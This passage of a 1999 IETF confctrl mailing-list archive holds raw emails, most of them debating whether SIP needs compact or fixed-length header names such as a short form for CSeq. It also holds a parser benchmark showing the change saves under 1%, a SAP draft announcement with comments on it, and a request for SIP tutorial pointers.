	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id MAA01905;
	Fri, 4 Jun 1999 12:30:46 +0100 (BST)
Message-ID: <3757B8E6.7396B261@hplb.hpl.hp.com>
Date: Fri, 04 Jun 1999 12:30:46 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: Compact name for CSeq: (and for everything else)
References: <Pine.LNX.4.10.9906040041270.26934-100000@petrack.metatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Scott Petrack wrote:
> 
> Jonathan,
> 
> I thought it was a stroke of luck that there wasn't a short form
> for CSeq:, which is mandatory.
> It gives us the opportunity to say that "any implementation
> which understands "q:" MUST understand ALL the compact forms."
> Since as you noticed, CSeq will get back an error, it can be used to check
> all the others.
> 
> This mechanism is efficient enough, it seems to me. A client or server
> will learn
> pretty quickly whether a particular server or client can handle the new
> short form, and act accordingly.

So you're saying that the 'q' short form for 'CSeq' is a backwards
compatible change because the caller will be able to figure out when a
callee is incompatible because the protocol will just break down.  I
don't know if this can be called backwards compatibilty.

Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Fri Jun  4 05:03:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA19338
	for confctrl-outgoing; Fri, 4 Jun 1999 05:03:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA19333
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 05:03:36 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA26429
	for <confctrl@ISI.EDU>; Fri, 4 Jun 1999 05:03:34 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.18729-0@bells.cs.ucl.ac.uk>; Fri, 4 Jun 1999 13:02:17 +0100
To: confctrl@ISI.EDU
Subject: Re: I-D ACTION:draft-ietf-mmusic-sap-v2-01.txt
In-reply-to: Your message of "Fri, 04 Jun 1999 07:19:18 EDT." <199906041119.HAA03419@ietf.org>
Date: Fri, 04 Jun 1999 13:02:16 +0100
Message-ID: <2321.928497736@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Internet-Drafts@ietf.org writes:
>A New Internet-Draft is available from the on-line Internet-Drafts directories.
>
>	Title		: Session Announcement Protocol
>	Author(s)	: M.Handley, C. Perkins,  E. Whelan
>	Filename	: draft-ietf-mmusic-sap-v2-01.txt
>	Pages		: 16
>	Date		: 03-Jun-99
>	
>This document describes version 2 of the multicast session directory
>announcement protocol, SAP, and the related issues affecting security
>and scalability that should be taken into account by the implementors
>of multicast session directory tools.
>
>A URL for this Internet-Draft is:
>http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sap-v2-01.txt

This version tries to merge together the original SAP specification
together with the IPv6 and security extensions, and Ross Finlayson's 
directory sessions idea. I've also tried to get in all the bug-fixes
people have noted over the past year or so.

Look forward to getting some comments...

Colin

From confctrl-owner  Fri Jun  4 06:40:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA22527
	for confctrl-outgoing; Fri, 4 Jun 1999 06:40:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA22522
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 06:40:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA00186
	for <confctrl@isi.edu>; Fri, 4 Jun 1999 06:40:02 -0700 (PDT)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Fri Jun  4 09:38:57 EDT 1999
Received: from cs.columbia.edu (ume [135.180.240.103])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA26058;
	Fri, 4 Jun 1999 09:38:56 -0400 (EDT)
Message-ID: <3757D680.90302F65@cs.columbia.edu>
Date: Fri, 04 Jun 1999 09:37:04 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.05 [en] (WinNT; U)
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: Eric Zimmerer <eric.zimmerer@level3.com>, jdrosen@bell-labs.com,
        confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else)
References: <Pine.LNX.4.10.9906040014140.26934-100000@petrack.metatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> The issue is not so much *compact* headers, as much as *single fixed
> length* headers. In fact, fixed 2 byte length headers (although 4 would be
> okay too, as Henning points out). Fixed length headers that can be
> compared in a single instruction make a *huge* difference when processing
> large numbers of packets, compared to a strcmp.

Given that the difference is *huge*, it should be easy to quantify. So
far, there has been no indication of any experiment that indicates any
difference, absolute or relative, but (I hope) I provided a plausible
explanation why keeping CSeq as is makes no perceptible difference.

To emphasize: we are talking about one extra if and equality comparison
for each packet, since presumably the other (non-Cseq) headers of
interest are already short. This probably works out to a few RISC
instructions. With branch prediction, I'd be surprised if this adds more
than 1 microsecond of packet processing delay.

Presumably your server isn't just inspecting SIP requests for their
inherent beauty, but rather doing something interesting with them.
Anything interesting, such as a database lookup or script execution, is
going to take more than one hundred times the parsing cost, in my
estimation (and measured experience).


> 
> Today, it is possible to read the first two bytes of each required header
> and "guess" the rest. But there is no guarantee that this will work
> forever.

Since it is unlikely that we will add more mandatory headers, this will
not be a problem for proxies.

> 
> It is true that HTTP's progress did not suffer because of the strcmps
> needed to implement an HTTP server. But surely it is well known that the
> strcmps slowed processing down?

If it is *well known*, one might be able to produce a citation. Again, I
think it is reasonable that people who want to introduce yet more
special cases prove their case by more than just assertion.

> 
> All I want to do is to avoid as many strcmps as possible, by extending
> work already done in a backward compatible manner.
> 
> Scott
>

From confctrl-owner  Fri Jun  4 06:54:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA23059
	for confctrl-outgoing; Fri, 4 Jun 1999 06:54:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23049
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 06:54:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA00987
	for <confctrl@isi.edu>; Fri, 4 Jun 1999 06:54:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Jun  4 09:53:39 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA07747;
	Fri, 4 Jun 1999 09:53:37 -0400 (EDT)
Message-ID: <3757D712.B9ECDD40@dnrc.bell-labs.com>
Date: Fri, 04 Jun 1999 09:39:30 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: Scott Petrack <scott.petrack@metatel.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>, mjh@aciri.org,
        schooler@cs.caltech.edu, jdrosen@bell-labs.com, confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else)
References: <Pine.LNX.4.10.9906032345230.26934-100000@petrack.metatel.com> <37579D21.7D9217E9@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:
> 
> > As I argued before,
> > there is no backward compatibility problem -- an implementation that
> > cannot understand the new compact form will return a 400 Bad Request and
> > then the implementation will know to try the long form. If I can't figure
> > out in advance which to use, it will only slow down my server, so clearly
> > it's in my interest to do it correctly.
> 
> How does the server know which CSeq to use in the 400 response if it
> does not understand the compact name for that header? How will it detect
> retransmissions of the same request? However, this seems to me like a
> more general problem of returning a failure response when the request
> was malformed.

This is a good point. The server will probably not reflect the "q" in
the 400 response. Mine won't at least, since it only copies the fields
it knows about into the response. In general, I think it would be a bad
idea for a server to copy headers from the request into its responses if
it didn't understand the header. This means that the client which sent
the q would need to be prepared to match responses to its request where
the q was missing. This seems a real pain.

Detecting retransmissions of the same request at the server is not a
problem, since the retransmitted requests still match the original one,
even though they are malformed. 

Scott - I, along with others I think, have a hard time with the claim
that making all the header fields a fixed length is such a big savings.
Yes, you can avoid a few strcmps, but compared to other operations (say
loop detection, handling retransmissions, Via processing, and parsing
the rest of the message (especially line folding)), it seems like a drop
in the bucket. Can you perhaps explain *why* this is such a huge
savings? 

Thanks,
Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Jun  4 08:18:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA26437
	for confctrl-outgoing; Fri, 4 Jun 1999 08:18:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26432
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 08:18:24 -0700 (PDT)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05451
	for <confctrl@ISI.EDU>; Fri, 4 Jun 1999 08:18:23 -0700 (PDT)
Received: from cisco.com (anup@[144.254.207.116]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id IAA20861; Fri, 4 Jun 1999 08:16:42 -0700 (PDT)
Message-ID: <3757ED89.5AE99FB2@cisco.com>
Date: Fri, 04 Jun 1999 08:15:21 -0700
From: Anup Rao <anrao@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.07 [en] (X11; I; Linux 2.0.36 i586)
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: Eric Zimmerer <eric.zimmerer@Level3.com>, mjh@aciri.org,
        schooler@cs.caltech.edu, jdrosen@bell-labs.com, confctrl@ISI.EDU,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Compact name for CSeq: (and for everything else)
References: <Pine.LNX.4.10.9906040014140.26934-100000@petrack.metatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:

[SNIP]

> It is true that HTTP's progress did not suffer because of the strcmps
> needed to implement an HTTP server. But surely it is well known that the
> strcmps slowed processing down?

Way back when we had the text vs. binary debate for RTSP, I concluded that this was not an issue. I
think the top 2 things to deal with in a HTTP server are :-

a) Connection setup/management
   (particularly with one connection/transaction)
b) Network I/O and File I/O

And the fact that you need to make system calls for both a), b).

In contrast, strcmps dont come close since  they are implemented in the calling process's space.
Agreed that this point of view is somewhat Unix-centric but I dont see how they can change much in
any OS.

Not that I am denying that strcmps are slower than comparing ints/longs :).  SIP does not really
have to deal with a) or b) above and so one is surely tempted to save on header parsing - but that
does not go far. From/To/Via processing is happens almost as often(in terms of order) as the base
message parsing, and is pretty complex. I think the bottom line is that this is the price one pays
for extensibility. 

-Anup.

> All I want to do is to avoid as many strcmps as possible, by extending
> work already done in a backward compatible manner.

From confctrl-owner  Fri Jun  4 09:06:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA28434
	for confctrl-outgoing; Fri, 4 Jun 1999 09:06:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28429
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 09:06:07 -0700 (PDT)
Received: from eagle.aud.alcatel.com (eagle.aud.alcatel.com [128.251.96.217])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA10120
	for <confctrl@ISI.EDU>; Fri, 4 Jun 1999 09:06:06 -0700 (PDT)
Received: from aud.alcatel.com by eagle.aud.alcatel.com (SMI-8.6/SMI-SVR4)
	id LAA09418; Fri, 4 Jun 1999 11:06:03 -0500
Message-ID: <37575022.F6E30913@aud.alcatel.com>
Date: Thu, 03 Jun 1999 23:03:46 -0500
From: Vincent Mouilleron <mouivi@aud.alcatel.com>
Organization: Alcatel USA
X-Mailer: Mozilla 4.5 [en]C-ANS 1.02  (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Compact names
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I am maybe not enough familiar with the protocol, so let me know if I am
defenetaly wrong, but I would like to make a comment :

SIP only initiates the session. That means that a flow of data is going
to follow the SIP message.
What I do not understand is that if you can not afford spending a few
microseconds to perform a strcmp, how can you expect to manage the data
flow ?
I mean, the time required in executing a strcmp is unrelevant compare to
the time the session is going to last. And it seems that the more
important the traffic will be, the more unsignificant the SIP message
treatment time will be.

Am I right ?

-- 
Vincent Mouilleron

Corporate Research Center
Alcatel U.S.A. 
1201 East Campbell Road         | Tel : (1) 972-996-7439
M/S 446-310                     | Fax : (1) 972-996-5902
75081-1936 Richardson, TX. USA. | E-mail : mouivi@aud.alcatel.com

From confctrl-owner  Fri Jun  4 09:30:52 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA29510
	for confctrl-outgoing; Fri, 4 Jun 1999 09:30:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29505
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 09:30:50 -0700 (PDT)
Received: from custmail.concentric.net (custmail.concentric.net [205.158.16.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA12961
	for <confctrl@ISI.EDU>; Fri, 4 Jun 1999 09:30:49 -0700 (PDT)
Received: from packetstream.com ([216.112.2.42])
	by custmail.concentric.net (8.9.1/8.9.1) with ESMTP id JAA15434
	for <confctrl@ISI.EDU>; Fri, 4 Jun 1999 09:30:48 -0700 (PDT)
Message-ID: <375802B0.63FFEE0E@packetstream.com>
Date: Fri, 04 Jun 1999 09:45:36 -0700
From: Sanjay Nayak <sanjay@packetstream.com>
Reply-To: sanjay@packetstream.com
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: sip messages
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

where can i get the details of the  SIP message ( message flows)
exchanged between the cleint and the server.

-sanjay


From confctrl-owner  Fri Jun  4 10:54:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA03160
	for confctrl-outgoing; Fri, 4 Jun 1999 10:54:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA03155
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 10:54:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA22917
	for <confctrl@isi.edu>; Fri, 4 Jun 1999 10:54:02 -0700 (PDT)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Fri Jun  4 13:53:23 EDT 1999
Received: from cs.columbia.edu (ume [135.180.240.103])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id NAA00910;
	Fri, 4 Jun 1999 13:53:23 -0400 (EDT)
Message-ID: <37581223.16969669@cs.columbia.edu>
Date: Fri, 04 Jun 1999 13:51:31 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.05 [en] (WinNT; U)
MIME-Version: 1.0
To: sanjay@packetstream.com
CC: confctrl@ISI.EDU
Subject: Re: sip messages
References: <375802B0.63FFEE0E@packetstream.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sanjay Nayak wrote:
> 
> where can i get the details of the  SIP message ( message flows)
> exchanged between the cleint and the server.

You might want to start with some of the tutorials, such as the ones in
Computer Networks and ISDN Systems (Jan. 1999) or the Bell Labs
Technical Journal (Oct.-Dec. 1998). A bit of unsolicited advertising:
The May/June issues of IEEE Network Magazine and Internet Computing
contain a special issue on Internet telephony, with some tutorial
material on this and articles on other VoIP topics. See
http://www.computer.org/internet/ and
http://207.127.135.8/ni/public/1999/may/index.html

See http://www.cs.columbia.edu/~hgs/sip for pointers to SIP-related
material.

> 
> -sanjay

From confctrl-owner  Fri Jun  4 11:16:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA04054
	for confctrl-outgoing; Fri, 4 Jun 1999 11:16:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04049
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 11:16:10 -0700 (PDT)
Received: from mail5.Dialogic.com (mail5.dialogic.com [146.152.224.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA26819
	for <confctrl@ISI.EDU>; Fri, 4 Jun 1999 11:16:08 -0700 (PDT)
Received: from sanmiguel.dialogic.com ([146.152.131.2])
 by mail5.Dialogic.com (PMDF V5.2-31 #33110)
 with SMTP id <0FCT001P6EQT07@mail5.Dialogic.com> for confctrl@ISI.EDU; Fri,
 4 Jun 1999 14:16:06 -0400 (EDT)
Received: from rockyroad by sanmiguel.dialogic.com (SMI-8.6/SMI-SVR4)
	id LAA10100; Fri, 04 Jun 1999 11:19:45 -0700
Date: Fri, 04 Jun 1999 11:16:08 -0700
From: Mark Grosen <Mark.Grosen@Dialogic.com>
Subject: RE: Compact names
In-reply-to: <37575022.F6E30913@aud.alcatel.com>
To: "'Vincent Mouilleron'" <mouivi@aud.alcatel.com>, confctrl@ISI.EDU
Message-id: <000201beaeb6$51cfb400$96839892@dialogic.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I think that some people are making an incorrect assumption
about control and media being tied together. If I am building
a "switch" (ala PBX) or in SIP terms, a proxy or redirect
server, my device never sees the data following the session
initiation. Devices like this are rated in terms of the
number of calls they can handle per unit time. So, if I can
parse the headers faster, I can handle more calls. How
much faster is in my mind an open question. The old "90-10"
rule still holds in terms of optimization: optimizing the
10% part does not yield much benefit.

However, Scott's application may be special and all he needs
to do is look at the fields like CSeq: and ignores what follows
which is why he wants the x: short-form. I don't know
what that application might be, so I am still in favor of
quantifying the potential improvements (and hence justifying) 
before modifying the spec.

Mark Grosen
Dialogic Corporation
mark.grosen@dialogic.com
V: 805 964-5083 F: 805 967-1395
http://www.dialogic.com

> -----Original Message-----
> From: owner-confctrl@ISI.EDU 
> [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Vincent Mouilleron
> Sent: Thursday, June 03, 1999 9:04 PM
> To: confctrl@ISI.EDU
> Subject: Compact names
> 
> 
> I am maybe not enough familiar with the protocol, so let me 
> know if I am
> defenetaly wrong, but I would like to make a comment :
> 
> SIP only initiates the session. That means that a flow of 
> data is going
> to follow the SIP message.
> What I do not understand is that if you can not afford spending a few
> microseconds to perform a strcmp, how can you expect to 
> manage the data
> flow ?
> I mean, the time required in executing a strcmp is unrelevant 
> compare to
> the time the session is going to last. And it seems that the more
> important the traffic will be, the more unsignificant the SIP message
> treatment time will be.
> 
> Am I right ?
> 
> -- 
> Vincent Mouilleron
> 
> Corporate Research Center
> Alcatel U.S.A. 
> 1201 East Campbell Road         | Tel : (1) 972-996-7439
> M/S 446-310                     | Fax : (1) 972-996-5902
> 75081-1936 Richardson, TX. USA. | E-mail : mouivi@aud.alcatel.com
> 

From confctrl-owner  Fri Jun  4 14:45:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA12573
	for confctrl-outgoing; Fri, 4 Jun 1999 14:45:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA12568
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 14:45:28 -0700 (PDT)
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA21022
	for <confctrl@isi.edu>; Fri, 4 Jun 1999 14:45:28 -0700 (PDT)
Received: from mg-20425427-27.ricochet.net (mg-20425427-27.ricochet.net [204.254.27.27])
	by proxy3.ba.best.com (8.9.3/8.9.2/best.out) with SMTP id OAA00229;
	Fri, 4 Jun 1999 14:43:43 -0700 (PDT)
Message-Id: <3.0.5.16.19990604133426.2d9faafc@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Fri, 04 Jun 1999 13:34:26
To: c.perkins@cs.ucl.ac.uk
From: Ross Finlayson <finlayson@live.com>
Subject: Quick comment re. draft-ietf-mmusic-sap-v2-01.txt
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Colin (cc. confctrl),

I've just taken a quick look at "draft-ietf-mmusic-sap-v2-01.txt".  Good job!

I'd like to suggest, though, that you simplify the draft by completely
removing section 6: the section that describes Directory Sessions.  Because
directory session advertisements are a feature of *SDP*, the discussion
here doesn't really belong in a description of SAP - the announcement
protocol.

Instead, a description of directory sessions (& how they're used) belongs
in a separate RFC that describes the optional "directory"  SDP media type.
(Writing this is something that's been on my "to do" list, although I
probably won't be able to get it done in time for the Oslo IETF.)

All the SAP specification needs to say about directory sessions is to
acknowledge - as you already do in section 3 - that the address on which
SAP announcements are made may itself have been specified dynamically.

	Ross.



From confctrl-owner  Sat Jun  5 04:25:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA07696
	for confctrl-outgoing; Sat, 5 Jun 1999 04:25:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA07690
	for <confctrl@zephyr.isi.edu>; Sat, 5 Jun 1999 04:25:25 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA28020
	for <confctrl@ISI.EDU>; Sat, 5 Jun 1999 04:25:09 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id RAA24526;
	Sat, 5 Jun 1999 17:57:56 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 65256787.003EDBD1 ; Sat, 5 Jun 1999 16:56:35 +0530
X-Lotus-FromDomain: HSSBLR
To: sanjay@packetstream.com
cc: confctrl@ISI.EDU
Message-ID: <65256787.003EBD42.00@sampark.hss.hns.com>
Date: Sat, 5 Jun 1999 16:56:33 +0530
Subject: Re: sip messages
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi sanjay,
the SIP RFC 2543 is quite comprehensive. (do take a look at some other docs
in hgs' site too -- Clarifications to RFC etc)
Regds
Arjun




Sanjay Nayak <sanjay@packetstream.com> on 06/04/99 10:15:36 PM

Please respond to sanjay@packetstream.com

To:   confctrl@ISI.EDU
cc:
Subject:  sip messages




where can i get the details of the  SIP message ( message flows)
exchanged between the cleint and the server.
-sanjay








From confctrl-owner  Sat Jun  5 05:59:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA10322
	for confctrl-outgoing; Sat, 5 Jun 1999 05:59:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA10316
	for <confctrl@zephyr.isi.edu>; Sat, 5 Jun 1999 05:59:25 -0700 (PDT)
Received: from pm01sm.pmm.cw.net (pm01sm.pmm.cw.net [208.159.98.150])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA29590
	for <confctrl@isi.edu>; Sat, 5 Jun 1999 05:59:24 -0700 (PDT)
Received: from cs.columbia.edu
 (usr53-dialup108.mix2.Boston.cw.net [166.62.199.110])
 by PM01SM.PMM.CW.NET (PMDF V5.2-29 #35315)
 with ESMTP id <0FCU006ERUQ0W5@PM01SM.PMM.CW.NET> for confctrl@isi.edu; Sat,
 5 Jun 1999 12:58:53 +0000 (GMT)
Date: Sat, 05 Jun 1999 09:00:42 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Some timing information for parsing
To: confctrl@ISI.EDU
Reply-to: hgs@cs.columbia.edu
Message-id: <37591F7A.AEB878E@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
MIME-version: 1.0
X-Mailer: Mozilla 4.51 [en] (Win98; I)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en-US,de
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I wrote a small parser for SIP messages with abbreviations (but
"traditional" CSeq). It only splits the message into lines and then
assigns the header values to the right variables, but does not parse the
header (such as Via or From) itself. (It does parse CSeq and
Content-Length, due to their simplicity.) Continuation lines are
handled, as are CR, CRLF and LF line separations.

Results on a SPARC Ultra 1/170, gcc version egcs-2.91.60, after 100,000
executions, no compiler optimizations:
66.4 microseconds per message. I won't present -O4 results here, since I
suspect that it optimizes out the code itself - the result of the
computation not being used anywhere... [-O4 reduces the execution time
to 17.4 microseconds/message, but as I said, don't trust this result.]

This measurement approach is only realistic if one assumes that the code
is in the cache; it does not account for things like reading data from a
socket or context-switch overhead, but actual computation time is likely
to be about 20-30% smaller due to compiler optimizations. Somebody
should do profiling within a whole system.

The gprof profiler indicates that
72.45% of the time is spent splitting the message (probably since the
routine needs to look at each character);
10.91% of the time is spent actually extracting header values;
 0.7%  of the time is spent in strcasecmp, the routine that checks for
CSeq.

This result was confirmed by changing CSeq to q and comparing the
measured execution time. It changed from 66.4 to 65 us.

Thus, even if one looks only at a small subset of the parser, e.g.,
without URL or Via parsing, making the change suggested saves less than
1% of the computation. Clearly, with any real system, this will be at
least an order of magnitude less, even within the parser. This estimate
is based on the expense of touching each character in parsing the more
complicated headers.

Also, optimizing the line splitting is going to be far more effective
than mucking with header names.

Henning

From confctrl-owner  Sat Jun  5 20:42:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA04805
	for confctrl-outgoing; Sat, 5 Jun 1999 20:42:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA04800
	for <confctrl@zephyr.isi.edu>; Sat, 5 Jun 1999 20:42:42 -0700 (PDT)
Received: from petrack.metatel.com (scott.petrack@ts007d18.cht-ma.concentric.net [206.173.20.78])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA25091
	for <confctrl@ISI.EDU>; Sat, 5 Jun 1999 20:42:39 -0700 (PDT)
Received: from localhost (scott.petrack@localhost)
